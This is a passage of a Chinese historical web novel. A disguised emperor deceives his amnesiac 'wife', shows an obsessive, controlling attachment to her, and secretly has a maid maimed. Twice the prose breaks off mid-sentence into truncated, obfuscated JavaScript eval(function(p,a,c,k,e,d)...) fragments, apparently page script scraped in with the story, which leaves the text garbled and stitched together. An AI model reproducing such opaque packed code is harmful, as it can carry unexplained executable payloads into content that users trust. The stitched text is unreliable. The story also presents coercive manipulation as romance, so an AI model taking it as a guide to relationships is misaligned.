此时沈遥已然入睡,寝室内却仍点了一盏微弱的小灯。 宋衍穿过巨大的拔步床,到了床沿,轻轻掀开帷帐。 当看到她小巧的脸蛋时,一整日的疲累与烦闷烟消云散,可取之而来的,是对沈遥生疑的担忧。 她睡觉很乖,他盯着她许久,竟着魔一般,忍不住倾身而下,离她越来越近,鼻尖与鼻尖仅一个指甲盖的距离。 她睡着了,或许此时偷亲一下,也不会被发现吧。 呼吸交缠间,他心跳愈发剧烈起来,舌尖止不住打颤,浑身血液似在倒流。 他向她靠得更近些,看清了她有些湿润又粉嫩的唇微微轻启,猫儿似的呼吸,声音很小。 渐渐的,两行鼻血凉飕飕涌出。 19. 第 19 章 沈遥醒来得很早,拔步床内除了小橘,依旧空荡,床台的烛火燃了一整晚,早已熄灭。 今日风很大,卷着梨花院中的花瓣往上空飞,带着“呼啦呼啦”的声响。连院子中的下人也是低头,用头顶迎着风走,连眼睛都睁不开。 这样的日子,并不适合出门,连小橘都一直躲在房中没曾动弹过。 “时衍去书院了?”许是天气的原因,沈遥今日有些懒,不想打理头发,只简单一支玉簪束起。 锦书带来了镇上揽月阁的珠宝,一样样给沈遥在头上比划。 “姑爷还在书房,今儿没出去过,风大。” 沈遥“嗯”了一声。 虽说她是乖乖跟着夫君回了家,也打定主意不再一人出镇子瞎溜达,可还是有一根刺,如鲠在喉。 到了如今,她依然不知南风当日在医馆的行为究竟是为何,还有那份药渣。 药渣…… 想到此,她起身从一旁书柜中抽出草药图鉴与功效,可翻开阅览后,图上所画皆为新鲜生长的植物,再加之没有与医师拿着真实草药学习过,半晌后还是放弃将书放回。 沈遥抽了张白纸,在上面缓缓写下楚绣二字,这才突然间想到那丫头似乎许久未出现了。 或许得寻她再问问她说过的那番话。 沈遥想到此处,将写了字的纸用火折子燃尽,起身冒着风往后罩房而去。 可她转悠了一圈,却未寻到楚绣,发丝倒是将脸打得疼。 回内院途中偶遇几个小丫鬟,沈遥记得几人与楚绣走得很近,便将人喊住,询问楚绣在何处。 然而那几个小丫鬟却一问三不知,只面面相觑后摇头,道:“我也多日未见着楚绣姐姐了,或许她外出了吧。” 沈遥最终放弃,又跑回了房间缩着。一早上,都没见到夫君,并不知他是在看书,还是刻意躲着她。 可若说是躲着,也说不大通。 晌午歇息过后,外面风小了下来,沈遥无法集中心思继续看书,便换了身衣裳,拿了木剑到后院中练功夫。 待一套剑法练完,收起时,她才意识到夫君正站在院门口,也不知来了多久。他背着光,脸上的神情有些暗。 沈遥眯眼看了好一会儿,才见他动身往自己来,手上拿着一束折下的梨花花枝,递到她面前。 沈遥面无表情接过,想了想,问:“看完书了?” 宋衍“嗯”了一声,脸上仍是如沐春风的微笑。 他视线落在沈遥水润的朱唇上,好想亲,好想尝尝味道。 他回想到昨夜,想要趁着她熟睡,偷偷摸摸亲一口,可面对阿姐,他终究是个胆小之人。生怕她忽然醒来,所以最后还是什么都没做,竟还流了鼻血。 还好她不知道。 他也倍感迷茫。 明明所做的一切,都是为了留住他的诺诺,让她真正成为自己的妻子。 可同时,她也是他的阿姐,已经做到如今这一步,他却还在停留在拉拉她的手腕,趁机搂搂她的腰。 身为生死不惧的帝王,在她的面前,却活得如阴沟里的老鼠。 今早起来,想到药渣之事还未真将她糊弄过去,枯坐书房许久,才终想到解决之法来面对她。 或许是两人都有着心结,沈遥没主动问起之前所有的疑虑,而宋衍也未提及半分。 她有些弄不清他来此地作何。 “那你下午准备做甚?” 宋衍笑笑:“需要陪练吗?” 沈遥迟疑,“可我这剑法还不熟练,不如……你教我拳脚功夫?” 剑法当初是夫君帮着捡回来的,那这搏击之术,想必也能。 宋衍答应。 他叫她站近身前,蹲下马步,并摆出一个准备进攻的架势。 “记得腹部要收紧发力。” “这样吗?” 宋衍微微点头,站到她身后,附身凑近耳边,声音很低:“再低点,这样旋身更稳。” 沈遥肩膀微缩,她余光所在之处都是他轮廓分明的侧脸,在细看下,才发现他的眼尾有一块很小的斑,当他眼睛带笑时,那块小斑也被隐约拉长了些,平日不细看根本发现不了。 她回过神,听明白了他用意,“嗯,你的意思是,力量并非只靠双拳,而是全身带动?” “嗯。”说着,他手指抵在她肩膀处,用了两成力往下压,“再往下。” 沈遥本着认真学习的心,也感受到了夫君教得认真,奈何他双手和呼吸撩过的地方起了火,让人本能逃避。 她直接站起,转身朝宋衍看去。道:“我从话本上看过些最基本的招式,不如直接让我试试?” 宋衍后退两步,应下她。 若是以前,他定是被她摁在地上打。可如今阿姐失了记忆,哪儿真会什么招式。 沈遥也是这样想的,不过她只是被弄得浑身发痒,找个机会打断。 她随意摆出一个感觉还行的架势,宋衍让她,“你先出击。” 既然如此,她便也不客气,上前两步,双手抓住他胳膊。旋身之时架起,用尽全身力量一甩。 “咚——”一声巨响,宋衍直接被过肩摔摔到了地上。一旁玩耍的小橘见状定了一瞬,又继续着今日的舔毛。 沈遥两眼一抹黑。 夫君这么容易,就被她给摔地上了? 她很想笑,却见宋衍面上出现的黑脸,鼓了下腮帮子将唇角拉平。 宋衍怀疑她是在故意报复,无奈道:“想笑就笑,在我面前还用憋着?” “这是你说的。”沈遥抿唇,终于破功捂着肚子笑了出来,许久停不下来,直到感到脸开始抽筋,才立刻用手搓揉起脸颊。 “我、我、实在、实在、没想到,你这么、这么弱……” 宋衍后背发疼,却保持着万年不动的俊脸,捂着腰站起身。 面前的沈遥笑语嫣然,明眸皓齿,阳光在被乌云挡着一个清晨后,终于破云而出,恰好映在她的脸上。 是光。 宋衍漆黑的瞳亮了起来,笑道:“再笑脸可真得抽筋了。” 沈遥鼓起脸颊,好不容易才再次将笑容克制住,看着他捂腰的动作,担心起来,“你还好吗?” 宋衍:“无碍。” 沈遥咬唇,“伤了腰的话,这问题……可大可小。” 宋衍:“……” 他太阳穴突突跳起来,依旧温柔,道:“这么担心?不如试试?” 沈遥:“……” 她将宋衍带回了寝室,想要亲自为他检查背上的伤,心底还是有些自责。 坐到美人榻上,叫他脱去上衣,露出他精壮的胸膛。他未将整件衣裳除去,而是松松夸夸搭着,恰好挡住他后腰。 如今见到他这身子,她还是会不受控制的脸红口干。她将这归结于,年纪大了,缺男人。 沈遥转到他身后,瞧见背上一处淤青,想看他后腰,却被挡了回去,不过好似确实没有更多伤。 “还行,不严重,我叫下人来给你揉药?” 说着,她直接起身想去叫人,结果被宋衍一把抓住手腕,声音带着明显的不满:“你就叫其他人碰我身子?” 沈遥一怔,转身看着他这副贞洁烈夫的模样,“你大男人,怕甚?” 宋衍沉默。 见她还是想往外走,立刻道:“诺诺之前的药都是我亲手上的。” 沈遥沉默。 是这么回事,可他当初为自己上药的动机,到了如今还是不明。 宋衍一本正经道:“你就没有半分馋我身子?” 沈遥:“……你可以闭嘴吗?” 越来越不要脸了这人! 她没什么好说的,黑着脸走到他身后,从药箱中找出那瓶药酒,倒在掌心搓热,又抹到他带着淤青的地方。 一边搓揉着,她听到了瓶瓶罐罐的声响。扭头看去,发现夫君似乎嫌弃药箱中的药瓶摆歪了,正将其全部拿出,又大小颜色分好,一瓶瓶认真地将其放回箱中。 他做这件事情时很专注,宛如她这 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“嗯。”沈遥重新开始手中搓药的动作,“我若问起,你会回答吗?” 宋衍:“会。” 沈遥:“什么问题都会?” 宋衍:“嗯。” 沈遥也不再顾虑,将药瓶收好,转身坐到他身侧,思索一番后,道:“南风伤势如何?” 跑出葫芦镇,遇到山匪,又害得南风受了伤,着实是她未曾预料到的。实在担忧,若南风因她落下了隐疾那可如何是好。 宋衍没想到她会先问这一问题,沉吟后笑道:“只是些皮外伤,现已痊愈。” 沈遥松了口气,又问:“楚绣去哪儿了?我今日找了许久,都未找到,连府中其他人都不知晓。” 宋衍不解:“楚绣是谁?” 沈遥一时间怔住,有些吃惊,绷不住脸色,“你不知道楚绣是谁?” “我为何要知道楚绣是谁?” 沈遥实在不知自己该做何情绪,是开心还是失落。 她解释道:“楚绣就是前些时日去你书房伺候的丫鬟啊,胸特大那个,这你都能忘了。” “……” 宋衍是真不注意谁去书房洒扫,毕竟日理万机,如何分得出心思来记住诺诺以外的人。 什么胸大胸小,都不在他注意的范围内,面前的诺诺,不管是一马平川,还是波涛汹涌,对他来说都一样。 他道:“书房?我倒是记得有一仆妇洒扫,人快五十了。” 沈遥实在无话可说。 宋衍凝眉沉思许久,终于知晓沈遥说的是何人。那个在她面前满口胡言的女人,他前些时日刚见过,不过并不知晓那丫鬟名字。 他暗中让南风剁下那丫鬟和仆妇两人一人一只手喂了狗,又关至牢中,以此作为惩罚,听说那两人当时哭天抢地,被吓得失了禁。 这一听,便惹得他耳朵犯了恶心。 可是,他不想诺诺知晓,这会吓坏她。 宋衍:“想起来了。” “终于想起来了?”沈遥睨着他,“你知她去了何处?” 宋衍冷淡地“嗯”了一声,“将她发卖出去了。” “发卖?”沈遥坐直了身子,“为何?” 宋衍说:“此女心术不正,挑拨我们夫妻关系,这样的下人,如何能留?” “哦。”沈遥垂眸,有些头疼,如此一来,她还真不知楚绣那些话的真伪了。 也不知夫君发卖那丫头的真实目的,究竟是出于心虚,还是出于什么别的。 不过沈遥本就不喜楚绣,如今眼不见为净也好,或许就算将人再找来,也探听不出更多的。 “那我继续问你了。” 宋衍:“嗯。” 沈遥:“南风那日跟着我去医馆,拿了我给郎中看的药渣,是怎么回事?” 她细细盯着他的表情,“你定知晓了,我怀疑那药的事儿。” 20. 第 20 章 宋衍的神色依然无丝毫变化,哪怕瞳孔的微缩都没有。 他无辜地摇摇头,道:“这几日南风回了老家,我亦不知。” 沈遥盯着他一动不动,惶然起来,难不成真不是夫君授意南风所为? 宋衍被她看着,没有丝毫不自在,反而又靠近她些,慢慢欣赏起她的脸,她的脸很小,睫毛似鸦羽般扇动着。 室内飘散着淡淡的烟丝,从两人空隙间弥漫过去,带着清香,一点点融入进他们的眸中。 身下传来猫儿细碎又令人舒适的咕噜声,驱走每一丝夏日的闷热。 “诺诺。” “嗯?”沈遥被他酥麻的声音弄得浑身一痒,从审视中回过神,这才忽然注意到两人之间极近的距离,以及拉丝般的眼神,究竟有多暧昧。 宋衍依旧温柔,笑道:“世道总是充满恶意,人分明群居而生,却实则自私自利。我只是在这个充满罪恶的世道中护住你而已。诺诺,太过单纯。” 他说:“你是我唯一的亲人了,相信为夫,可好?” 后来的几年里,独自一人坐在梨花院中的许多时日,有人问沈遥,她喜欢的是梨花,还是喜欢梨花香。她的回答是带着淡青草的冷香,在某些瞬间擞住心跳。 他说,她是他唯一的亲人。 沈遥这天并没有回答宋衍的话,只是笑笑躲开他视线。 当她还想说点什么时,忽然一阵人群簇拥的声音从前院传来,像是时府大门那边。 锦书从房外敲门进来,正好宋衍穿起衣裳,没让别人见着良家男的身子。 “夫人,忽然来了两人,上了府门前闹事,叫嚣着自己是南风的弟弟和弟媳。” “南风?”沈遥蹙眉起身,“那他人呢?” 锦书:“奴婢不知。” 沈遥:“去看看。” 宋衍垂着眸跟随起身,低低“嗯”了一声,又道随着她一同前往。 时府门前围满了一圈镇子上的看客,而门口是一男一女两人,男子皮肤黝黑,身材高大,走路却是一瘸一拐往左偏。 女人很胖,面色发黄,比起沉默的男人,更是显得凶神恶煞。 女人一眼就看到穿着华贵的时家夫人,端庄美丽,便开始朝着她高声叫嚣着:“谢南呢?让人出来!” 沈遥并未见到南风,只是被当作看猴戏着实叫人烦心。 “谢南是谁?” 女人大声叫喊着:“南风,就是这家主人书童!让他出来!” 沈遥转身看向宋衍,他微微颔首,让人下去将南风叫来。 等待之时,女人一边喊着,竟一边哭起来,抱着一旁立柱,“我是谢南弟媳,这是他弟弟。这个贼子!竟趁着老父亲病逝,卷了房契跑了,丢下我和他弟两人,此举不孝不义!” “街坊们都来看看啊!就是这家人的书童!” “胡说!”南风此时终于从府内出来,却一直低着头,声音略显僵硬,站到沈遥面前,“你们心底再有怨气,也不应跑来时府打扰时爷和夫人!” 站在后方的弟弟撸起袖子,往南风瞪去,又扫视了一眼沈遥。 宋衍双眼微眯,站到沈遥身前将视线挡住。 弟媳继续撒泼:“谢南!别以为有时家,你就跑得掉了!再怎样也无非是个下人,咱这光天化日下,也要讲法讲理!” 沈遥被面前高大的背影挡住,看不到前面情况,便往侧站出一小步,问:“南风,你说。” 南风依然低着头,这时又弓腰福身上,解释道:“回夫人,家父前些时日头疾病重,小的回老家,每日床前亲手照顾,又寻各种药方。” “无奈父亲还是走了,临终前将房契交给我,分了三两银子给弟弟和弟媳。” 沈遥听明白,这两人未在床前尽孝道,如今却是看上了那房契,这才找过来。 不过…… 沈遥蹙眉,问他:“头疾?” 南风依旧低着头,声音比之前还要僵硬,“回夫人,小的家中贫困,请不起郎中。这才打上了给夫人治病药方的主意,想着没钱找郎中,拿了那药方,自己抓药,或许也是条路子。” “只是没曾想,父亲还来不及吃药,就已经走了。” 沈遥低声道了一句节哀顺变,又疑惑:“那你那日见到我后跑什么,怎的不与我们说,说了的话,定会帮你。” “这……”南风低着头半晌说不出话。 宋衍扯了下沈遥的袖子,道:“别逼他了。” “说来也是我这做主子的没察觉。” 既然如此,沈遥也不好再说,想着南风或许也是有什么苦衷,怎能再去戳人心窝子。人家爹刚走,已经够难受了。 一旁的弟弟和弟媳两人听他们自顾自叨叨,不满起来,“喂!我们还在这儿呢!跟你们说好了啊,要么把爹的房契拿出来!要么十两银子!你们自己选。” 四周看客邻居纷纷捂着嘴窃窃私语起来,看南风和那两人的眼神都带着鄙夷。 宋衍面无表情,站在他身旁的人却能感受到隐而不发的烦躁。 人太多了,这些粗人口沫横飞,叫诺诺吸了可如何是好? “去拿十两银子。”他朝着下人吩咐。 两人听闻后眼睛一亮,对视着点头。 “等等。”沈遥打断,问南风:“当初你父亲给你留下房契时,可有留下遗书?” 南风:“呃……有。” 沈遥:“既是如此,那凭什么给他们十两银子?遗书上白纸黑字都写好了。” 她走到胖弟媳面前,神色稳若泰山,“十两银子,我们不会给,有本事,你们去到官府。不过话说在前面,既有遗书,就算你们报了官,也赢不了这官司。” “敢去吗?” 弟媳和弟弟瞬间呆住了。 下面的人低声说起来:“谁敢没事儿去报官啊,特别是如今官员为了政绩,减少纠纷,这报官的人都得先挨顿板子。” 也只是沉默片刻后,弟媳立刻抱紧了身旁的柱子,一屁股坐到地上,大声哭喊起来,“天道不公啊!这做大哥的竟连自己弟弟都不管了!反正今儿拿不到十两银子,我们不走了。” 看戏的众人纷纷摇头,不怕君子,就怕小人,特别是这种死缠烂打的泼妇。 沈遥点点头,也不多说,转身走进时府,在门口寻了一圈。 宋衍不知她想如何处理,在他看来,给了钱快些了事才是最省心的解决之法。 不一会儿,沈遥在叫苦连天中,找到了一根木棒,捡起在手中掂掂,走出房门直接往叉腰站在不远处的沉默弟弟而去。 两人还没反应过来,沈遥已经一棒子挥下去,那壮汉瞬间倒地,捂着屁股疼得皱眉。 她一早便看出,这人看上去很壮,力气也不小,却不会功夫,下盘不稳。 沈遥又朝着他腿打了一棍子,那弟弟开始大声痛呼起来。 这下子,把弟媳给弄懵了,呆呆看着沈遥。 沈遥冷眼说:“银子,你们别想了。我不打你,但再不走,休怪我继续打残你丈夫!” “如今你们不请自来,我为护家而防卫,上了衙门,你们也不占理。” 弟媳在原地滞了好久,才喊着“别打了!别打了!”,上前将弟弟扶起,低着头,两人对视一番,最后一瘸一拐离开时府。 没了更多热闹可看,围观的众人也自是散去。 沈遥背对着宋衍,没见到他黑瞳突然亮起的光。 他舌尖顶着上颚,看到阿姐如此凶狠模样,心底不受控制的激动起来。 只是…… 他看了眼那瘸腿的背影,半眯着眼。 好嫉妒。 阿姐亲自用棍子打了那男人,他也想要被阿姐用棍子狠打。 沈遥长叹一声,感觉这么久时日的气都白生了。 南风与药渣一事,没想到竟是如此原因,虽听起来有些牵强,却也是合理,毕竟人家弟弟和弟媳都闹上门来。 经此一遭,她对南风和时衍,又更是内疚起来。 锦书和家丁这时才上前,将看客驱走。 而不远处小桥上,站着一被这边动静所吸引的男子,身着绛红锦缎大袖,面容俊俏,似是二十左右的年岁。 他瞪大了双眼,一直看着沈遥进入时府后消失的背影,久久无法回神。 他身旁的小厮惊诧道:“永乐长公主!好像啊!” 那男子双唇微微颤抖,“不是像,那人就是她!就是诺诺!” …… 沈遥夜晚舒服地沐浴过后,一边擦着霜膏,一遍想着今日发生的事儿。虽然感觉怪怪的,可每一处都很合理。 唯一不同寻常的便是一直低着头的南风。 不过人家父亲刚过世,许是心底不好受,才一直不愿抬头吧。 沈遥本以为那两人不会如此轻易放弃,却没想到连续多日都未再出现,生活又恢复了平静。 她闲聊时无意与宋衍提了一嘴,他沉默良久后说,或许那两人都是纸老虎,被沈遥这两棍子给彻底吓破了胆。 而这些时日,沈遥突然意识到,她的记忆似乎开始出现偏差。比如她放回书架的书,醒来后却是出现在床边。 刚开始,沈遥觉得是自己睡前记错了。 可当天夜里,她再次特意将书放回书架,醒来后发觉又出现在床头,她心里才开始隐隐有些不对。 连续三日都是如此,还有这日。 她明明刚给小橘喂过猫食,可转眼间,那碗猫食却是满的。 紧接着,房间开始不断丢失物品,最明显的是案上那小香炉,第二日消失后,第三日又出现了。问过下人,却无人动过。 她说不清这缘由,为了弄清这不是闹鬼,在睡前,她特意撕下一张小纸条,在上面写,“书已放回书柜”,而后塞到枕头下睡着。 当她清晨醒来时,果然又看到了放在床头的书,立刻从枕头下抽出字条。 令她没想到的是,上面写着“书已放床头”,都是她的字迹,是她亲手写的。 当她将整个枕头掀开,竟看到了密密麻麻的小纸条,上面写了不同的信息。 “你叫沈遥!你叫沈遥!你叫沈遥!” “猫是夫君送你的。” “这里是葫芦镇。”…… 全部都是她的字迹,竟是她亲手写的? 一股诡异与阴冷瞬间擞住四肢。 不是闹鬼,心里却更害怕,可她谁也没说,只一人隐藏着。 这日沈遥用过午膳后,便困得不行,待再次醒来,天已彻底黑了。 着实没想到今日歇晌竟这么久。 身子睡久了发僵,起身后,叫锦书随意为她挽个简单的发,她想出去走走。 “今日一觉睡这么久,我都忘了叫南风过来问他家中之事。” 锦书一边为她梳头,一边笑道:“别说夫人了,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋衍凝视她许久,最后悠悠牵起她手,“去个地方?” 沈遥感觉自己此刻犹如行尸走肉,没多想他的话,只一路低着头,一边凝思,一边随着他走。 不多时,宋衍将她带到一处抄手游廊,让她坐下。 “今日星星不错,看看?” 沈遥咬唇,不解他为何忽然要提出看星星。 或许为了转移她的注意力。 她仰头往寂寥而广阔的夜空看去。现下繁星点点,远处高悬的明月,似乎透着淡淡的静谧,撩动人心。 宋衍伸手指了指,道:“北斗七星。” “嗯。” “道家认为,北斗七星掌管着人间祸福,南斗星君主生,北斗星君主死,也有兵家以北斗七星获取方位,布战阵。” 说实话,沈遥没什么看星星的心情,“你知道的真不少。” 宋衍:“不开心?” 沈遥:“……没有。” 宋衍又贴近她几分,“天地万物之广,我们或许只是其中渺小的一抨黄土。” 沈遥扭头看向身旁的夫君,意识到他在安慰自己。 他道:“诺诺,有的东西,其实不重要。无论发生什么,某件事在天地下都弱不可见,而生活在继续。” 他看向她,在波动的月光中,眼色深沉又认真,“无论是梨花,还是广玉兰,无论诺诺是何模样,为夫都接受。” “我说过的,你是我唯一的亲人,无论如何,都在你身侧。” 沈遥沉默。 宋衍目光在她脸上游移着,落到她的唇上,饱满又发亮,很美,而她的眼里,是困惑与恐惧。 她的唇时不时亲抿,带出口中一点点唾液,又伸出舌尖将其舔走。 想亲她很久了,还想喝。 慢慢的,他倾身朝着她一点点靠近,沈遥眨着眼,呼吸愈发沉重起来,闻着包裹住自己的冷香,没有躲开。 她心好像跳到了颅顶,震颤着天灵盖,夜空成为了巨大的回声谷。 他愈靠愈近,漆黑的瞳孔深不见底。 最后,他移动了一下,将吻落到她眼皮上,留下一串火辣而柔软的灼烧。 宋衍轻轻揉着她发顶,许久后才退开,带着柔情似水望进她浮起月亮与星辰的眼眸。 对于她来说,这是一个可怕的征兆。 周身的一切都在告诉她,她好像成了一个疯女人,他的夫君告诉她,他永远不会抛弃她。 自醒来后,她时常对周遭充满警惕与恐惧,只是从不说出口。 她不知是该迷茫那些是否存在过的梨花,亦不知是该迷茫如今被面前的男人轻易拿捏。 可是她似乎,也别无选择。 他好像用一种极其温柔的手段,慢慢占据她的内心。 他的眼神像一张蚕丝巨网,将她整个人裹住动弹不得,却又感受不到疼痛与寒冷。 罢了。 别无选择啊。 宋衍见她情绪平复,站起身,“今夜晚了,早些歇息。” 沈遥叹了口气,夏夜暖风拂起她几缕鬓间发丝,她伸手拉住他的衣袖。 宋衍垂眸:“怎的了?” 沈遥笑笑,“时衍,今夜留宿吧。” 21. 第 21 章 屋内四处放了不少冰,冲淡夏夜闷热。 沈遥与宋衍分别沐浴过后换上单薄寝衣。 她手指有些发紧,记得上一次与他同眠,是在收养了小橘那夜。 可他合衣而睡,不似今夜,衣料薄得似乎能看到那下面的肌肤,青色的血管,游走跳动的血液。 在他坐至床沿后,沈遥想要将灯吹熄,却被他拉了一下小指。 “怎的了?” 宋衍看了眼燃着的四盏小灯,道:“灭三盏,留一盏吧。” “你……”沈遥脸颊有些微红。 他们成婚已有一段日子,至今未圆房,其实沈遥做好了准备,可点着灯却叫人过于羞涩了。 宋衍将她拉下,自己走至灯旁,熄了三盏,又回到床上,“我习惯点着灯。” 沈遥摇摇头,还是允了他,脱了鞋履,爬进床里侧后,宋衍跟了上来。 她闭上眼睛,手抓着被褥等待许久,可身旁温热的男人却始终无任何动静,直到他侧了下身子,她才睁开眼,往一旁看去。 怪了,明明只点了一盏很暗的灯,沈遥此时却将他看得比以往更为清楚。 她的夫君怎么看都很俊,将他放在人海中,她也确定,自己能第一眼找到他。他斯斯文文,偶尔透露出一丝强势,有时又软得像只小兽,比如此刻。 “干嘛一直看着我。”沈遥垂下眸子,躲开他炽热的视线,落到他明显的喉结上。 宋衍勾唇一笑,“这样一种视角,实属不易,想记住。” 沈遥白他一眼,“够了,你少来,一点儿都不矜持。” “哦。”宋衍撇开头,平躺着,看着白色的帷帐顶,倒映着烛光,“老夫老妻了,还矜持。” “什么老夫老妻。”沈遥飞快勾了下唇,“咱们成亲才几个月,你就老夫老妻了,况且都还没……” “还没什么?”宋衍眼中带着揶揄,扭头看向她。 沈遥顿住,用力扯了扯被褥,“没什么!” 他就盯着她,肩膀一颠一颤,也不靠近,沈遥脸有些黑下来。 她怒了。 这可是她的地盘,再怎么说,她也得找回场子,她一时提起一股气,忽得靠近他几寸,声音轻飘飘问:“时衍,你今夜穿亵裤了么?” “你!”宋衍直接僵住,又想到那日丢人的情景。 他半晌说不出话,道:“穿!了!要看?” 沈遥面子上装得轻车熟路,实际上猪跑都未曾见过。 可该装的还得装下去,她红着脸挑眉,“可以么?我还从未见过。” 宋衍觉得自己心要塌了,他看似风流,天不怕地不怕,可真叫他提枪上阵,面对沈遥,他却成了懦夫。 直接转过身,背对着这女流氓,喃喃道:“阿姐,别啊。” “你喊我什么?”沈遥惊奇地蠕动上前,有些好笑,“你刚喊我阿姐?” 宋衍呼吸声消失。 如遁入冰窖,空气都将他喉咙堵塞住。没想到自己弯弯绕绕做了这么一大通,好不容易取得她信任,竟是没管住嘴。 然而沈遥却笑了起来,没想那么多,“没想到,你还好这口啊,阿弟。” 她倒是在不少话本上看到过,有的男子喜好各式各样的称呼,颇为一种情趣。 宋衍觉得自己在短短一瞬间,好似历经生死,他深呼吸一口后转过身,看着她带笑的脸,鬼使神差问她:“你介意我小吗?” 他小了她两岁。 沈遥看他这双眼格外真诚,道:“你平日,不挺强势的?” 宋衍没听到她正面的回答,有些失落,认真道:“诺诺,我不是小孩,也不是少年,我是你男人。” 沈遥发觉,他似乎对此格外执着,她说不清这个中原由,倏然有些怪异。 虽然这副微微委屈的模样着实少见,特别是发现他耳后的红痕,看着就让人想欺负,却还是放过了他。 她说:“等你加冠,我定亲手为你戴冠。” “好。”如此简单,宋衍又笑了起来,“你答应了的。” “嗯。” “那你牵下我的手。”宋衍话语不带任何起伏,说完后又将视线转开不看他。 沈遥睁大了眼睛,“你这是要我哄你?你不是说你是男人,不是少年,更不是小孩吗?” 宋衍哽住,被自己的话塞得一口气上不来,“那算了。” 他又转过身去背对着沈遥。 沈遥懒懒地抬了抬眼皮,“我真对你五体投地了。” 说不清自己今夜忽上忽下的心情。 因广玉兰和梨花树弄得悲不自胜,然后他把她哄感动了,后来同床共枕,是对于即将圆房的小女儿的紧张。 到现在,什么情绪都没了。 面前好像一个没长大的小孩在与自己撒娇闹脾气。 夫君真是个多面人。 沈遥叹了一声,见他将自己的两只胳膊都紧紧抱在胸前,她更无语了。 她有些好笑地伸出手,试图将他一只胳膊拉出来,使了好大力,可这人却不动如山。 “事不过三啊,我已经拉了两次,最后拉一次,我就自己睡了。” 对方仍然沉默不语,沈遥又试了一次,果然,这一次他配合地放开手,身子跟随着被拉动的方向躺平。 沈遥心跳得愈发剧烈,却还是大着胆子,将自己的手慢慢滑入他的手中,轻轻牵住。 哪儿有男子在圆房前,还需要女子主动的? 有吗?有吗? 罢了。 唉,谁让他还是个弟弟呢。 宋衍睁开眼,呼吸紊乱,心脏好像被她的手纂紧,捏碎,湿答答的汁液与碎肉从指缝溢出,叫他胀痛又兴奋。 他扭头看着沈遥,手分开她的指头,与她十指相扣。掌心与掌心,指头与指头之间好像生了根,若要分离,必定将筋脉尽数扯断,骨头全部敲碎。 他垂眸看去,好想将他们的手缝在一起。 沈遥闭着眼睛,“有些热。” 宋衍视线变得黏腻起来,回到她脸上,像刚出炉的滚烫糖浆,将她整个人烘得炙热。 他没放开她的手,就这样一直注视着她。 他注意到她逐渐变红的耳根和脸颊,终于笑了出来,胸膛震颤,轻声道:“睡吧,阿姐。” 未来还有很长的日子,慢慢来。 寝室的支摘窗一直大开着,夏夜的风涌入室内,带着角落的冰气逃入拔步床帷帐中,忽冷忽热,温馨又舒爽。 刚结束玩耍的小橘回到床上,发觉往日的床位被人占了,在被褥上徘徊一圈,最后选择睡在了两人头顶,发出淡淡咕噜声。 宋衍一整晚都没睡,静静盯着她,天还未亮,斜眼瞥了刻漏,他才不舍地放开她手。 掀开被褥时,手下攥到几缕她掉落的发丝,他捡起盯了很久,放到鼻尖深深猛嗅,最后团成一团,塞入口中咽下。 在离开时府上马车前,宋衍倏然注意到,时府外墙角还有未被处理干净的梨花花枝,白色的小花瓣被成片打落在地上。 昨夜的笑容从逐渐脸上消失,反而满是冰冷与阴仄。 “怎么回事?” 为他掌灯的南风手一抖,顺着视线看去,立刻挥手,几个侍卫上前,将墙角的花枝一一捡走。宋衍确认不剩下一片花瓣后,才上了马车。 “只此一次。” 南风低头应下,胆战心惊地又看了一眼墙角,这才驾马车离去。 …… 那夜后,宋衍被常常允许留宿在了沈遥的房中。 只是边境战事愈打愈烈,他忙碌到已是多日夜半三更才能归家。 沈遥自然不知晓这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这件小插曲过去两日,沈遥早已将其抛之脑后,而这些时日,宋衍依旧忙碌,两人已是许久未见。 直到这天夜里,沈遥沐浴完,在锦书伺候下擦干身子,换上干净的寝衣往屋内去。 下人们点上安神香,确认一切无误后便退出屋子。 沈遥做了一整日女红,疲惫地揉手,正往床上去时,忽然净室传出一声响动。 她身子一顿,有些疑惑地往那方向走去,没看到什么异常,只是那里面的窗还开着,似乎是下人忘了关起。 她走上前将支摘窗合上,正转身时,忽然面前出现了一张大脸。 “啊——” 沈遥吓得一声惊呼,声音还未完全蹦出嗓子眼,便被那男子伸手捂住了嘴。 “诺诺!是我啊!” 沈遥停下了出声的念头,借着烛光一看,竟是两日前街上遇到,并被官兵所追赶的采花大盗! 她汗毛直立,一股凉意爬上脊柱,强迫自己冷静下来。 那男子看着沈遥眼中透露出的陌生,更是不解。 “诺诺,我是宁梓谦啊。” 见沈遥没有挣扎,他将她放开。 得了自由,她凝眉退后两步,定定看着他,宁梓谦以为她想起了自己,欣喜上前,却没想到沈遥骤然出手,一把抓住他的手腕关节,往后一扳,他没能反应过来,整只手被拧了过去,紧接着鼻梁猛地迎上她的手肘,凉意散出,两股鼻血从鼻腔涌出。 他疼得轻喊一声,结果又是一天旋地转,整个人被摔在地上,脊背发疼到无法动弹。 宁梓谦捂着鼻子,仰头看向面前的沈遥,带着哭腔,“诺诺,你怎么了?我是你夫君啊!” 22-30 第22章 第22 章(三合一,修)阿姐别不…… 沈遥攻击的手闻声落下,若有所思地看向躺在地上的人,“什么意思?” 宁梓谦捂着腚从地上爬起,生怕再次激怒她,后退了两步,抬起一只手,“诺诺,为何你不记得我了?难道是迎亲那日伤了脑袋?” 沈遥眉头轻拧,心底乱麻一团。 可就算锦书与时衍说谎欺骗她,官府总不会吧。那日一群官兵追逐宁梓谦的场景,她仍是历历在目。 “我夫君时衍,乃是这镇子首富,虽非官身,却也与官府识得些关系,你劝你早些离去,否则你被捉住怕是小命不保。” 夫君与官府是否有关系,沈遥并不知晓,却也只得一通胡诌,看能否将面前男子吓退。 刚才毕竟是她袭击突然,若真再来一次,不知对方深浅,她吃不准是否还拿得住。 “夫君?时衍?谁啊?” 